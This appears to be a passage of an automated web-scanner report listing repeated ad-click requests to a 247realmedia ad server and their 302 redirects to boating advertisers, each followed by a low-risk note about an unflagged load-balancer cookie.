HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:41:14 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.gssdesign.com/cmta_landing11/ Content-Length: 317 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.gssdesign.com/cmta_landing11/">here< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1921995207/x03/Dom_Ent/CMTA-Sound-TileAd/cmta_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:35:14 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.gssdesign.com/cmta_landing11/ Content-Length: 317 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.gssdesign.com/cmta_landing11/">here< ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1925968507/x03/Dom_Ent/AtlanticCity-Sound-TileAd/125x125_ac_0111.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:45:18 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.acboatshow.com/ Content-Length: 303 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.acboatshow.com/">here</a>.</p> <hr>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/19316522/x01/Dom_Ent/NovaScotia-Sound-TileAd/125x125_novascotia_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:05:02 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.nsboats.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.nsboats.com/">here</a>.</p> <hr> <ad ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1972223152/x04/Dom_Ent/NovaScotia-Sound-TileAd/125x125_novascotia_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:46:40 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.nsboats.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.nsboats.com/">here</a>.</p> <hr> <ad ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1989764170/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:05:46 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1990120906/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:41:23 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/1992827791/Right/Dom_Ent/SeaTow-Sound-Rect-300x250/bfs_seatow_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:41:20 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/2000460958/x01/Dom_Ent/NovaScotia-Sound-TileAd/125x125_novascotia_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:21:12 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.nsboats.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.nsboats.com/">here</a>.</p> <hr> <ad ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/2039360394/Right/Dom_Ent/House-Sound-Rect-300x250/Soundings_subscribead_300x250.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:39:27 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://ezsub.net/isapi/foxisapi.dll/main.sv.run?jt=starr_wc&PUBID=586&SOURCE=INET&RDRID=&SBTYPE=QN&PGTP=S Content-Length: 402 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://ezsub.net/isapi/foxisapi.dll/main.sv.run ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/2101192040/Top/Dom_Ent/SoundingsDisplatches-Sound-Bnr-728x90-Defender/dispatches_defender2.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:30:25 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/2102258488/Top/Dom_Ent/SoundingsDisplatches-Sound-Bnr-728x90-Defender/dispatches_defender2.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:41:30 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/2105583430/x02/Dom_Ent/AtlanticCity-Sound-TileAd/125x125_ac_0111.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 15:05:11 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.acboatshow.com/ Content-Length: 303 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.acboatshow.com/">here</a>.</p> <hr>
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/2110013632/Middle/Dom_Ent/House-Sound-Bnr-Middle/dispatches_600x100.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:37:58 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/2139721205/Right1/Dom_Ent/SeaTow-Sound-Btn-300x100/bfs_seatow_300x100_Jul70910.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 16:01:46 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: https://www.soundingssellmyboat.com/webbase/en/std/jsp/WebBaseMain.do;jsessionid=C2A3BE71EE34C5087C97F3A067159F18 Content-Length: 390 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="https://www.soundingssellmyboat.com/webbase/en/ ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/222638617/Middle/Dom_Ent/House-Sound-Bnr-Middle/dispatches_600x100.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:41:56 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/230260175/Middle/Dom_Ent/House-Sound-Bnr-Middle/dispatches_600x100.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:41:15 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/249777070/x04/Dom_Ent/NovaScotia-Sound-TileAd/125x125_novascotia_0111.gif/7263485738303033424c73414270536c HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:38:25 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.nsboats.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.nsboats.com/">here</a>.</p> <hr> <ad ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/281847158/x02/Dom_Ent/NovaScotia-Sound-TileAd/125x125_novascotia_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:39:58 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.nsboats.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.nsboats.com/">here</a>.</p> <hr> <ad ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/285317148/Middle/Dom_Ent/House-Sound-Bnr-Middle/dispatches_600x100.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:40:45 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.soundingsonline.com/subscription-services/subscribe-to-e-newsletter Content-Length: 355 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.soundingsonline.com/subscription-ser ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/287333455/Right1/Dom_Ent/House-Sound-Btn/wf_de_ad_300x100.jpg/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:40:47 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.flashedition.com/publication?i=59172 Content-Length: 324 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.flashedition.com/publication?i=59172 ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/301024327/x01/Dom_Ent/NovaScotia-Sound-TileAd/125x125_novascotia_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
HTTP/1.1 302 Found Date: Tue, 25 Jan 2011 14:40:23 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Location: http://www.nsboats.com/ Content-Length: 300 Keep-Alive: timeout=60 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3b45525d5f4f58455e445a4a423660;path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>302 Found</title> </head><body> <h1>Found</h1> <p>The document has moved <a href="http://www.nsboats.com/">here</a>.</p> <hr> <ad ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /RealMedia/ads/click_lx.ads/www.soundingsonline.com/index.php/L33/312414512/x04/Dom_Ent/CMTA-Sound-TileAd/cmta_0111.gif/726348573830302b4e47344144525279 HTTP/1.1 Host: oasc05139.247realmedia.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3a45525d5f4f58455e445a4a423660; OAX=rcHW8003BLsABpSl;
Response
